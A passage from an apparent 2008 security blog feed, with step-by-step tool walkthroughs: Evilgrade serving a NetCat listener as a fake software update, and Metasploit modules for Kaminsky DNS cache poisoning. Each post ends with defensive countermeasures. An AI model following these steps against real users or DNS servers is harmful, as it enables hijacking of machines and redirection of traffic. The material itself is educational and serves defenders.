0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_IYfuPD9qO24/SKGYO0TNiCI/AAAAAAAAACw/9Lj-0xMJXSI/s320/evilgrade.JPG" alt="" id="BLOGGER_PHOTO_ID_5233631622306039842" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Next we enter &lt;span style="font-weight: bold;"&gt;configure sunjava&lt;/span&gt; and then &lt;span style="font-weight: bold;"&gt;show options&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_IYfuPD9qO24/SKGdCkRm79I/AAAAAAAAAC4/LBwaaYXh9Uw/s1600-h/evilgrade2.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_IYfuPD9qO24/SKGdCkRm79I/AAAAAAAAAC4/LBwaaYXh9Uw/s320/evilgrade2.jpg" alt="" id="BLOGGER_PHOTO_ID_5233636909404057554" border="0" /&gt;&lt;/a&gt;Then we get the screen above.&lt;br /&gt;&lt;br /&gt;Now we type &lt;span style="font-weight: bold;"&gt;set agent&lt;/span&gt; and the location of our payload. Like this&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold;"&gt;set agent /root/nclistener.exe&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center; font-weight: bold;"&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-weight: normal;"&gt;We can launch the attack now or change more of the settings using the set variable. After this we launch the attack by using the &lt;span style="font-weight: bold;"&gt;start&lt;/span&gt; command&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;span style="font-weight: normal;"&gt;The next time the users software checks for an update it will download our NetCat listener. Most users apply updates without looking so you should at least own a PC or two from this.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt; &lt;a href="http://www.infobyte.com.ar/demo/evilgrade.htm"&gt;To see full details of this exploit take a look at this video&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Countermeasures&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: normal;"&gt;To counter this attack we have to defend against the initial attack vector. To do this we must stop DNS spoofing, ARP spoofing and DHCP spoofing&lt;span style="font-weight: bold;"&gt;. &lt;/span&gt;Defending from these attacks entails patching your DNS servers and turning on DHCP snooping and ARP inspection on your switches.&lt;br /&gt;&lt;br /&gt;You can look at my previous posts to see how to turn on DHCP snooping and ARP inspection on Cisco Catalyst switches. Otherwise, make sure you patch your DNS servers as the DNS servers have the largest attack surface.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div id="greasedLightboxOverlay"&gt;&lt;div id="greasedLightbox"&gt;&lt;img id="greasedLightboxImage" /&gt;&lt;div id="greasedLightboxCaption"&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div id="greasedLightboxMenu"&gt;&lt;a title="Update available (v0.17)" href="http://shiftingpixel.com/lightbox/" id="greasedLightboxTitleLink"&gt;Greased Lightbox - Update available (v0.17)&lt;/a&gt;&lt;div id="greasedLightboxButtons"&gt;&lt;a title="Next image (right arrow key)" id="greasedLightboxButtonRight"&gt;→&lt;/a&gt;&lt;a title="Previous image (left arrow key)" id="greasedLightboxButtonLeft"&gt;←&lt;/a&gt;&lt;a title="Magnify image (+ key)" id="greasedLightboxButtonPlus"&gt;+&lt;/a&gt;&lt;a title="Shrink image (- key)" id="greasedLightboxButtonMinus"&gt;-&lt;/a&gt;&lt;a title="Start/stop slideshow" id="greasedLightboxButtonSlide"&gt;↻&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div id="greasedLightboxLoading"&gt;&lt;img style="border: medium none ;" src="data:image/gif,GIF89a%80%80%A2%FF%FF%FF%DD%DD%DD%BB%BB%BB%99%99%99%FF%21%FF%0BNETSCAPE2.0%03%01%21%F9%04%05%05%04%2C%02%02%7C%7C%03%FFH%BA%DC%FE0%CA%06*%988%EB%CD%BB_%96%F5%8Ddibax%AEl%AB%A5%A2%2B%CF.%5C%D1x%3E%DA%97%EE%FF%12%1EpHT%08%8B%C8G%60%190%1DI%83%E8%20%F9a2K%CF%8FTJ%E5X%AD%A4lg%BB%EDj%BE%D7%9D%0DJ%8E%9A3%E8%B4G%BCis%DF%93%B8%9CC%CF%D8%EFx%12zMsk%1E%7FS%81%18%83%850%87%7F%8Apz%8D%29%8Fv%91%92q%1D%7D%12%88%98%99%9A%1B%9C%10%88%89%9Fy%93%A2%86%1A%9E%A7%8B%8C%2F%AB%18%A5%AE%A0_%AA%8E%AC%90%B5%B6%60%19%A3%0D%AD%BC%AF%A1%28%B2%9D%BB%C3%C4h%BF%C7%A4%C9%CA%A8%A9A%CE%0E%B4%D1%BD%7B%10%C0%0A%C2%D8%D2%C5%DB%D5%0C%D7%DF%CB%B7%13%B9%C8%97x%02%EE%02%2B%B0%D47%13%DEln%1E%EF%EF%27%F2%2B%F6Zd%3A%E8%1Bhb%9A%3Fv%F7%DAp%18%C8%90%84%C1%13%D0%C6%94%CB%C0%B0%E2%08f2%14%02%2Ce%8A%FFb%C5%86U%B4%B5%28%B3%91%A3%C0%8F%20%CD%CD%E2%08h%21%CA%94*%AD%B1l%99%EF%25%C1%98%0Bf%D2%1Ca%F3fL%9D%F8X%F4%D4g%0EhG%17C%F7%0D3%EA%23%A9%3B%5EL%818u%054%C9P%AA%2C%DF%D8%C4%FA%8F%CAK%AE%08%15Y%AC%15%F6%13%D1%A5%3Bq%AA%5D%CB%B6%AD%DB%B7p%E3%CA%9DK%B7%AE%DD%BBx%F3B4%DA%F5%1B_a%7F%27%16%0D%0C%89%B0%E0h%86%13%F3%FD%A9%B8qV%95%8E%23%F7%85*%D9Me%B5%97%BB9f%1BY%AF%E7%CF%A0C%8B%1EM%BA%B4%E9%D3%A8S%AB%C6A%92r%D0Se1%C5%7Es8P%ED%24%26a%DF%1E2%13%EC%E4%1CUu%F7%06%12%D5wn%E0%C1%5D%0F%9FQ%1Cq%F2%83%3A1%3FO%F8Xzt%EA%C7%DB6%AFs%5D%EE%F4%95%D5%25%BEv%D1Z%7Cv%F0%BB%EB%05%CC%B8%DERz%99%BF%D5kd%11%91%C3y%F9%F3G%D4%2F%B1%DF%7E%FF%08%BC%F9%E9%F7_I%EDaW%12t%01%3EP%DE3%B3%B9g%DB%80%9A-%A8%20%84%8CAha%7C%90Q%A8%21%85%7Ea%B8%21%87%CE5%18%8C%88%E4%80%88%16%89%25%26%C8%A0%8A%19%A2%98%93%8B%11%B2%D8%21%8C1J%08%A0%89%9F%BC%97b%81%F8%C9x%A2%8F%F0%F1%D8%A3%8D%CA%E8%B8%23%91%2B%02%29%9C%92%232y%24%92%C6%A55%E4x%7E%E0H%9B%95%04%60%89%A1%22%5B%06%09%E5%8D4%9Aa%A4%97RNY%26%97X%D6x%E6%3ANv%91%A6%9ATr%D7%26%15of%19%26%99q%E6%28%A4%7Fs%929%E3Q%EE%7D%89%1Eiu%AAVhj%87%A2%96%E8i%8B%9A%D6%A8%A3%7B%AE%C6%27%A0%AE%24%21%F9%04%05%05%04%2C%0A%02W0%03%FFH%BA%DC%FE0%BE%40%83%BC8%EB%3D%2B%E5%60%28J%9E7%9E%28WVi%EBv%EB%2B%BF%EB7%DFgm%E1%3C%A8%F7%23%81P%90%FA%A1H%40k8D%19G%C9%24%8A%C9%CC%D5N%D1%E8%89%DA%1C%3DCYi%90%2B%F4%5EEa%B1%88%DC%F5%9DAi%F5%9A-%FAn%E2%CA%14%9B%E8%8E%C1%E3.%7B%21v%19x%2F%82*o%1A%86%87%88%1A%84%12xy%8Dd%89%7E%8B%803%7B%7C%19%90%10%928%8E%18%9E%0F%8C%A1t%9D%8A%91%99%3C%A2%24%AA%11%A6%AD%A8%17%A4%0C%B2%B3%B4%11%B6%0A%A0%40%0A%AE0%25%18%B8%3D%9B%B5%B0%0D%BE%BF%C0%BA%10%97%B1%AC%10%03%D4%03%81%CE%C2%C4%D2%0F%D5%D5K%D8G%DB%0D%DD%E4z%952%E2%E3%E4%E5c%5C3%E9%0C%EB%F2%EDm%E8Y%18%F2%F3se%3CZ%19%F9%FA%98%09%04%18P%E0%2F%82%EB%0C2C%C8N%21%10%86%DD%1C%1E%84HMb%0F%8A%15-%F2%C0%A8%F1%13%22%C3%8E%0F%09%82%0C%99o%E4%C4%86%26IZK%A9%21%01%21%F9%04%05%05%04%2C%1F%02W0%03%FFH%BA%DC%FEKH%01%AB%BD8%EB6%E7%FE%60%A8u%9Dh%9E%22%E9%A1l%5B%A9%92%2B%CF%04L%D1%F8i%E7%7C%B8%F7%A2%81p%C0%FA%9D%02%C8%40k8D%19E%C9%24%8A%C9%D4%C1%8EQ%A9%89%DA4%3DAYm%90%2B%F4%5E%A1a%E4%89%DC%05%7D5i%F1%98%9C%3A%83%E3K%B6%CF%BE%89%2B%F3tn%7Cpx.lD%1Fo%17%7E3%87%88%23%83%8B%8C%8Dz%1B%8A%15%93%94%95%19%97%0F%7E%7F4%87%96%91%98%859%A2%9C%A4%9E%A6%A7%9B%17%9D%0D%99%3C%A8%AF%AA%B1%AC%B3%B4%2F%B6%0B%9F%40%0B%BA%10%B0%0A%B2%40%8E%B5*%92%B8%C6%AE%C2%24%18%C5%BF%04%C1%0F%25%CAa.%DA%18%D4%28%D1%21%DB%DB%DD%812%CB%20%E2%E9%17%CD%2C%E7%1A%E9%F0%E4U8%D8%22%F0%F7%19%F39Q%26%F7%F8%D2%D2%FC%FD%03%D8C%E0%40%828%0C%C6C%C8C%A1%3A%86%09%1D%8E%83HC%E2D%8A3%2Cj%C3X%D1%14%22%C7%88%0A%3F%E6%08%29r%A4%C0%92%05%17%A2L%B9%D1D%02%21%F9%04%05%05%04%2C%3C%02BB%03%FEH4%3C%FA0%CAI%AB%9D%AD%DD%CD%7B%CD%99%27%8E%16%A8%91hj2i%3B%AE%8E%2Bo%F0l%7F%EB%ADG%B5%2B%FC%82%DD%A3%97%02%02%85%8B%5C%D1x%DC%11I%CC%A6%EE%29%8AJo%D4%8E%F5j%CBr%B6A%A1%F7%02F%26M%D0%ADy%5C%29%AF%95Z7%92%3D%91%CF%E1%1Bp%F8%8D%8E%5B%CDCx%16v%7C%20%7EQ%80%81%7Ddj%89%0At%0Az%8E%8F%82u%8D%93%90%92%93%94%21%8C%7F%9B%8A1%83%97.%01%A6%01%3B%84%28%A7%A7%3A%A4%AB%AC%AC7%AF%22%B1%B6%AEL%29%B6%BB%A9%5C%1E%BB%BC%A0%1B%C0%C1%C2%15%C4%C5%C6%12%C8%B7%CA%14%CC%B1%CE%13%D0%B2%D2%11%D4%AD%D6%D7%D8%A8%DA%10%DC%DE%CB%D0%E1%D3%C8%E4%CF%C4%E7%C7%CD%EA%EB%A6%ED%F0%F1%F2%F3%F4%F5%F6%F7%F8%F9%FA%FA%FD%FE%FF%03%024%26%B0%A0%C1%7F%A0%0E*4%B8i%A1%C3%81%93%1EJ%04%D0p%A2%C3%84%16%0F%12%CC%28%03PA%02%21%F9%04%05%05%04%2CN%0A0W%03%ECH%BA%BC%F3%A3%C9I%2B%85%D0%EA%7Dq%E6%E0%E6%7Da%29%8D%A4%A9%A2%A9Z%B2%91%BB%B2%B2%0B%D7%E6%8D%87p%BCs%BA%9F%28%28%B4%10%8B%1D%14r%A8%5CV%8ENF%2F%9A%1CQ%27%D3k%03z%E5%AA%04%60%81%91%B6%0B%87%9F%CD%9Ay%5D%C5%A8%D7%EC%B6%CF%04%AF%8F%1F%B2%BA%9D%AA%DF%3B%FB%7EH%80p%7C%83fQ%86%87%7F%89%60%85%8C%8E%86Z%89Z%0A%83%94%0B%80%97%0C%81%9A%95g%9D%A0%A1%A2%A3%A4%A5%A6%A7%A8%A9%AA*%01%AD%AE%AF%B0%B1%B05%B2%B5%B6%AF.%B7%BA%B6%AC%BB%BE%B8%26%BF%C2%01%BD%C3%BB%B9%C6%B7%B4%C9%B2%AB%CE%CF%D0%D1%D2%D3%D4%D52%D8%A5%D9%DC%A2%DC%DF%DA%9D%E0%DF%E2%E3%E4%94%E6%E3%E8%E9%E0Z%EC%ED%EE%EF%DD%F1%F2%D8%F4%F5%EB%F5%E1W%FA%FB%FC%F8%F9%D8%95K%17%8A%A0%B7s%A3%E6QH%21%F9%04%05%05%04%2CN%1F0W%03%E9H%BA%DC%FEn%C8%01%AB%BDmN%CC%3B%D1%A0%27F%608%8Eez%8A%A9%BAb%AD%FBV%B1%3C%93%B5v%D3%B9%BE%E3%3D%CA%2F%13%94%0C%81%BD%231%A8D%B6%9A%8F%1C%14R%9B%F2L%D6%AB0%CB%EDz%BF%E0%B0xL.%9B%CF%5C%81z%CDn%BB%DB%B3%B7%7C%CE%5E%D1%EF%F3%13%7E%0F%1F%F1%FF%02z%80%7Bv%83tq%86oh%8B%8C%8D%8E%8F%90%91%92%93%0A%01%96%01f%97%9Ac%9A%9D%98%60%9E%9D%A0%A1%A2%5D%A4%A1%A6%A7%9E%5C%AA%AB%AC%AD%9B%AF%B0%96%B2%B3%A9%B3%9FY%B8%B9%10%BE%2F%B8%15%BF%BF%C1%B0%BD%C4%C5%C6%A7%C8%C9%C07%CC%0F%CE%CA%D0%A5%D2%D3%CF%3B%B1%C3%D8b%D8%BE%DE%DDa%DF%D9_%DFc%E7%E3%E2%EA%D3%E1%EB%E6%EF%5E%E4%EE%CE%E8%F1%5D%E9%EC%F5%FA%FB%60%F9%FE%ED%E8%11%23%D3%CF%1E%B8%29%09%21%F9%04%05%05%04%2C%3C%3CBB%03%F9H%BA%DC%FEP%8DI%AB%BD6%EA%1D%B1%FF%15%27r%60%F9%8D%E8c%AEY%EAJl%FC%BE%B1%3C%BB%B5y%CF%F9%B9%FF%C0%A0pH%2C%1A%8F%C8%A4r%C9l%3A%9F%D0%A8tJ%10X%05%D4%D7u%9B%1Dm%BF%D8%AE%06%FC%15G%C8%60%B3%03MV3%D8mw%15%5E%96%CF%E9W%FB%1D%1Fv%F3%F3v%7FVz%82F%01%87%017%7FD%88%88%8AxC%8D%8D%3Bt%91%92%87%40l%96%97%89%99u%11%A1%1C%9C%98A%5C%1A%A2%A2%A4%A5O%AA%AA%1B%A5%A6L%AF%AB%B1%ADM%B5%A1%AC%B8K%BA%A3%BC%97%B9%BA%23%B2%B4%C4%22%C6%BE%C8%C9%BDH%BF%28%B2%9D%CF%CC%CD%9CJ%D0%D1%CAG%D9%DA%D7%D4%B5%2F%DBE%DD%DE%C2%DC%D5%E6%92%E8%E1%E2%E3B%E5%29%EFA%F1%F2%DFD%F5%EA%8E%E4%E9.%E7%FC%EDvLb%F7J%8F%83%7Cv%10%CAQ%E8%86%A1%1A%87%0F%0B%1A%7Ckb%83%04%21%F9%04%05%05%04%2C%1FNW0%03%FFH%BA%DC%FE0%CA7%EA%988%EB%CD%89%FD%5D%28%8E%CDg%5Ed%AAJ%A7%B9%BE%B0%D7%BAq%1D%CE%AD%ADkx%BE%FF%90%DE%09Ht%08i%C5%E4%11%94%2C.-M%E5%13%15%05N5%80%2C%E0%27%E8%0AFO%8CV%AB%F3z%C1%C7%C9x%5C3%9BIB%F5%3A%DBvwU8%C9%9C%1C%B3%9F%F1H%10%7Bt%13%01%86%01%18%7Ew%2BL%11%83%5B%85%87%86%89%8AQ%8F%90%11%92%92%13%8A%8BE%8F%18%9A%87%94%7EI%97%A1%A2%88%9C%9D%9F%83%19%A9%AA%AB%A5%40%A0%AF%A9%1A%AC%3F%B5%A8%A2%B8%95%3B%BB%BC%9A%1B%B95%A7%1A%B0%C4%C50%C1%C2%9B%CA%B3%CC%CD%91%BD%D0%D1%2B%D3%D4%C3%1C%CB%29%D9%DA%CF%DC%BF*%DF%12%C9%1D%DD%22%E5%E6%B7%21%E9%1C%C7%1D%E7%E8%EFX%AE%22%F3%F4%D7%1D%F7%F8%ED%22%E3B%F4%0B%91O%9F%1BokR%144%E8%89%04%1B%85%FFF%BC%A9%E2l%14%C5%28%0B%2F%FE%C8%A8Q%13%07%C7%8E5%3E%82%84%21r%E4%8Bj%26%89%84K%A9%20%01%21%F9%04%05%05%04%2C%0ANW0%03%FFH%BA%DC%0E%10%B8I%AB%BD8%B7%C8%B5%FF%E0%C7%8DRh%9E%219%A2lK%A9%A4%2B%B7%B0%3A%DF%60m%E3%3C%A6%C7%BD%E0%E4%B7%12%1A%17%C4%CEq%99%8C%2C%8FM%C8%13%DA%9CR%89%A7%806%20%1Cx%07%99dv%AB%ED%7D%BF%3E%1D%8AL%C6%9D%CF%97Z%8B%BDu%BF%BDi%25%8B%5E%BF%DD%D1qN.%7Ce%17%02%87%02%18%7FxV%04%84%5C%86%88%87%8A%8BV%8F%90%15%92%92%17%8B%8CK%8F%18%9A%88%94%7FO%97%A1%A2%89%9C%9D%9F%84%19%A9%AA%AB%A5F%A0%AF%A9%1A%ACB%B5%A8%A2%B8%95A%BB%BC%9A%1E%B98%A7%1A%B0%C4%C53%C1%C2%9B%CA%B3%CC%CD%91%BD%D0%D1%83%AE%1F%C9%1F%CB%7B%D9%DA%B7%20%DDc%7C%21%DB%DC%BF%DE%E5%E6%E1%E2%E9%26%C7%20%E7%E8%EF%20%D3%C8%ED%EE%D7%F6%EB%26%F3%FAo%D6%F4cW%CDD%3D%7EmP%FC%03%E8I%60%21%85%F9%0C%02jDm%18E%2B%0B%2F%0A%C9%A8%B1%12%07%C7%8E8%3E%82%9C%21r%A4%8C%82%26%8D%3C%E3%91%21%F9%04%05%05%04%2C%02%3CBB%03%F5H%04%DC%FE%F0%A9I%AB%BD%98%C6%CD%5D%FE%E0%D5%8D%5Ch%82d*%9D%AC%A5%BE%40%2BO%B0%3A%DF%F5x%EF%F9%B6%FF%C0%A0pH%2C%1A%8F%C8%A4r%C9l%3A%9F%D0%A8tJ%3D%05%AE%81%AA%0C%CB%D5%9A%B8%E0%AC7%13%06%8F%2F%E5%F0%99%92.%AF%09m%F7%3A%AE%3E%D3%CD%F6%3B%F6%AD%DF%E7%FB%7C%80%81w%3B%02%86%02Fz%85%87%86Et%3F%8C%8CDmA%91%87%8Ex%40%96%97%98WC%9B%8D%20%03%A3%03R%A0%88%A2%A4%A3P%A7%A8%19%AA%AAO%A7%21%B0%A4N%AD%B4%B5%A5M%B3%B9%B5%BC%A0%27%BA%BBK%BD%BE%B0L%C6%C7%B1J%B8%C2%BA%C5%C1%2C%C3%CD%CA%CB%B6I%D6%D7%ABH%DA%DB%C4F%DE%A9%BFG%E2%E3%C8%E1%E6%1F%D4%E9%9B%3B%ECE%D27%F0D%F23%F4%F5%91%40%F8%F9%A1%3F%FCo%26%0CH%60%60%40%83o%10%AEQx%86aCt%0410K%21%F9%04%05%05%04%2C%02%1F0W%03%E7H%BA%0C%0E%2C%CAIk%7B%CE%EAM%B1%E7%E0%E6%8Da%29%8D%A8%A9%A2%A9Z%B2%AD%CB%C1%B1%AC%D1%A4%7D%E3%98.%F2%0F%DF%0E%08%11v%88E%E3%04%A9%AC%9B%16%1C4%0A%9B%0E%7B%D6_%26%CB%EDz%BF%E0%B0xL.%9B%CF%A1%80z%CDn%BB%DB%B6%B7%7C%CEv%D1%EFs%15%7E%0F7%F1%FF%01z%80%7Bv%83tq%86oh%8B%8C%8D%8E%8F%90%91%92%93h%02%96%02f%97%9Ac%9A%9D%98%60%9E%9D_%A1%9E%5D%A4%A1Y%A7%A8V%AA%A5S%AD%A2%AF%B0%97%A9%B3%96%AC%B6%9F%B2%B3%5C%B62%03%C0%03%16%BC.%C1%C1%15%AD6%C6%C6%14%A7%3E%CB%C7%CD%B1%3A%D0%D1%D2%B7B%D5%C0b%DA%C2a%DD%DE%60%DD%DC%E3%DF%DA%E4%D5c%E5%E2%E7%E6%ED%EC%E9%EE%F1%F0%D0%E8%F5%F6%CB%F8%CC%F2%F7%F4%F9%FA%DB%D4%CD%D3wf%9F%86%04%21%F9%04%09%05%04%2C%02%02%7C%7C%03%FFH%BA%DC%FE0%CAI%AB%BD8%EB%CD%BB%FF%60%28%8Edi%9Eh%AA%AEl%EB%BEp%2C%CFt%0A%DC%40%AD%938%BE%FF%9E%5E%0FH%CC%08%7D%C5%24%E5%88T%3A%1D%CC%E6sJ%88%E6%A8X%2B%96%AA%DDN%BB%5E%A5%F5%1AN%82%CB%C41%DA%1C%5D%B3%99%EEt%3B%0E%3C%D3i%EA%BB%CE%AE%8F%E5%FB3%7C%80%12%01%85%01%21%82%83%0E%86%86%20%89%8A%0B%8C%92%1Fs%90%10%92%98%1D%95%96%8B%98%99%1BG%9C%11%9E%9E%1CC%A2%A3%A4%9F%A8%26%AA%A5%AC%AD%AE%93%B0%24%B2%B3%B4%23%B6%8C%B8%B5%BA%85%BC%22%BE%BF%C0%21%C2%C4%C1%B6%C7%B9%AE%CA%CB%A4%CD%BD%B7%D0%CE%87%D3%D6%D7%D8%D9%DA%DB%DC%DD%DE%DF%E0%E1%C0%02%E4%E5%E6%E7%E8%E7%DC%E9%EC%ED%E6%DA%EE%F1%ED%D9%F2%F5%EA%D8%F6%F9%02%F4%FA%F5%F0%FD%EE%D6%01L%27%AE%A0%C1%83%08%13*%5C%C8%B0%A1%C3%87h%06H%1Cq%C1%C4%8B%10%2Fj%A4%D8pP%A3F%86%1E7*%0C%E9%11%21%C9%92%07O%8A4%A8%F2%23%CB%96%13M%C2%94%98r%26%C7%970%13%CE%5C%98%93%E7I%87%24%2B%AE%ACH%23%D1%A3H%93*%5D%CA%B4%A9%D3%A7P%A3J%9DJ%B5%AA%D5%ABX%B3j%DD%CA%B5%AB%D7%AF%60%C3%16I%3B" /&gt;&lt;p id="greasedLightboxLoadingText"&gt;Loading image&lt;/p&gt;&lt;p id="greasedLightboxLoadingHelp"&gt;Click anywhere to cancel&lt;/p&gt;&lt;/div&gt;&lt;div id="greasedLightboxError"&gt;&lt;p id="greasedLightboxErrorMessage"&gt;Image unavailable&lt;/p&gt;&lt;p id="greasedLightboxErrorContext"&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;img id="greasedLightboxPreload" /&gt;&lt;img id="greasedLightboxPrefetch" /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/522754168935527456-1239225547409371022?l=infosecsamurai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://infosecsamurai.blogspot.com/feeds/1239225547409371022/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=522754168935527456&amp;postID=1239225547409371022' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/1239225547409371022'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/522754168935527456/posts/default/1239225547409371022'/><link rel='alternate' type='text/html' href='http://infosecsamurai.blogspot.com/2008/08/why-upgrade-when-you-can-evilgrade.html' title='Evilgrade Will 0wn Us All'/><author><name>Infosec Samurai</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_IYfuPD9qO24/SV0aRW1WgqI/AAAAAAAAAGg/fxf-015j9qo/S220/Dark_Dragon.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_IYfuPD9qO24/SKGYO0TNiCI/AAAAAAAAACw/9Lj-0xMJXSI/s72-c/evilgrade.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-522754168935527456.post-4101126199241816194</id><published>2008-07-28T18:55:00.031-04:00</published><updated>2009-01-01T13:37:55.741-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='DNS'/><category scheme='http://www.blogger.com/atom/ns#' term='Metasploit'/><category scheme='http://www.blogger.com/atom/ns#' term='Attack Tools'/><title type='text'>Bringing Balance to Kaminsky's DNS Poisoning Vulnerability</title><content type='html'>Ok, so the security community is a buzz about the DNS flaw that was found by Dan Kaminsky of IOactive. ISACA is having a special webcast about it. Internet Storm Center is running stories about it. People are scared which I find funny. Yet a healthy dose of paranoia in the security world is a good thing.&lt;br /&gt;&lt;br /&gt;In today's post we will be exploring just how easy it is to exploit the recent DNS flaw that was released by Dan Kaminsky. This will explain why you see security professionals running around like chickens with their heads cut off. This flaw essentially allows the user to overwrite an already cached domain or host in a caching DNS server. This is basically DNS cache poisoning but in a new way.&lt;p&gt;&lt;/p&gt;&lt;span style="font-family:arial;"&gt;For more information on how this works look &lt;/span&gt;&lt;a style="font-family: arial;" href="http://news.cnet.com/8301-1009_3-9998906-83.html"&gt;here&lt;/a&gt;&lt;span style="font-family:arial;"&gt;. and &lt;/span&gt;&lt;a style="font-family: arial;" href="http://amd.co.at/dns.htm"&gt;here&lt;/a&gt;&lt;br /&gt;&lt;p style="color: rgb(0, 0, 0); font-family: arial; text-align: left;"&gt;So how easy is this to exploit? Way to easy, if you follow the steps in this post you will be able to execute this attack.&lt;/p&gt;&lt;ol style="font-family: arial;"&gt;&lt;li&gt;Go to &lt;a href="http://metasploit.com/"&gt;metaploit.com&lt;/a&gt; and download metasploit framework3&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Install it.&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;You will want to run svn update to get the latest exploits.&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;After the update runs open msfgui it should look like this&lt;br /&gt;&lt;p style="color: rgb(0, 0, 136); text-align: left;"&gt;&lt;img style="width: 355px; height: 187px;" alt="metasploit.JPG" src="http://img182.imageshack.us/img182/1350/metasploitrn7.jpg" /&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;Type DNS in the bar and hit find. After a minute or two you will see DNS bailiwicked_host and DNS bailiwicked_domain&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Right click on either of these exploits and choose execute. This will bring up the MSF assistant which looks like below. Fill in the fields and then hit next and start.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_IYfuPD9qO24/SI-cSI-XukI/AAAAAAAAACg/Q3mSr_cHwJ8/s1600-h/msfassist.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5228569527861099074" style="margin: 0px auto 10px; display: block; cursor: pointer; text-align: center;" alt="" src="http://1.bp.blogspot.com/_IYfuPD9qO24/SI-cSI-XukI/AAAAAAAAACg/Q3mSr_cHwJ8/s320/msfassist.JPG" border="0" /&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;p style="color: rgb(0, 0, 136); text-align: left;" align="left"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;The exploit tells you whether it succeeds. Just hope it fails if it's one you administer.&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;span style="font-family:arial;"&gt;It's that easy, you just made everyone's www.yahoo.com resolve to your blog see how elite you are :-P.&lt;br /&gt;&lt;br /&gt;The real danger is having this redirect a site to a client side attack and then using that as a jump off point for a serious compromise&lt;span style="font-weight: bold;"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Countermeasures&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In this instance it sucks to be a defender which most of us are. Microsoft actually made it easy on us this time with a &lt;a href="http://www.microsoft.com/technet/security/bulletin/ms08-037.mspx"&gt;patch&lt;/a&gt; that came out earlier this month. There are &lt;a href="http://www.isc.org/sw/bind/bind-security.php"&gt;updates&lt;/a&gt; for BIND as well. &lt;/span&gt;&lt;span style="font-family:arial;"&gt;You can also turn off recursion or forward to&lt;span style="text-decoration: underline;"&gt; &lt;/span&gt;&lt;a href="http://www.opendns.com/"&gt;open dns&lt;/a&gt;&lt;/span&gt;. You can also check if you are vulnerable &lt;a href="http://www.doxpara.com/"&gt;here&lt;/a&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;&lt;br /&gt;This can still be undone by NAT routers and firewalls that act as DNS servers or intercept DNS traffic. Namely Cisco Routers acting as DNS servers. I don't know why you would use this function but if you do upgrade your IOS. The source ports are still an issue with all Cisco products as of this writing please upgrade when patches are available.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;So now we have fully explored this attack and how to prevent it. I am sure that this post shows just how simple it is to be a script kiddie hacker and just how much trouble you can cause those of us in the security field. This is a great example of why Offensive Security is something that all security pros should learn. Learn the attacks learn how to hack so you can prevent.&lt;br /&gt;&lt;strong&gt;&lt;/strong&gt;&lt;div id="greasedLightboxOverlay"&gt;&lt;div id="greasedLightbox"&gt;&lt;img src="" id="greasedLightboxImage" /&gt;&lt;div id="greasedLightboxCaption"&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div id="greasedLightboxMenu"&gt;&lt;a title="Update available (v0.17)" href="http://shiftingpixel.com/lightbox/" id="greasedLightboxTitleLink"&gt;Greased Lightbox - Update available (v0.17) - Update available (v0.17)&lt;/a&gt;&lt;div id="greasedLightboxButtons"&gt;&lt;a title="Next image (right arrow key)" id="greasedLightboxButtonRight"&gt;→&lt;/a&gt;&lt;a title="Previous image (left arrow key)" id="greasedLightboxButtonLeft"&gt;←&lt;/a&gt;&lt;a title="Magnify image (+ key)" id="greasedLightboxButtonPlus"&gt;+&lt;/a&gt;&lt;a title="Shrink image (- key)" id="greasedLightboxButtonMinus"&gt;-&lt;/a&gt;&lt;a title="Start/stop slideshow" id="greasedLightboxButtonSlide"&gt;↻&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div 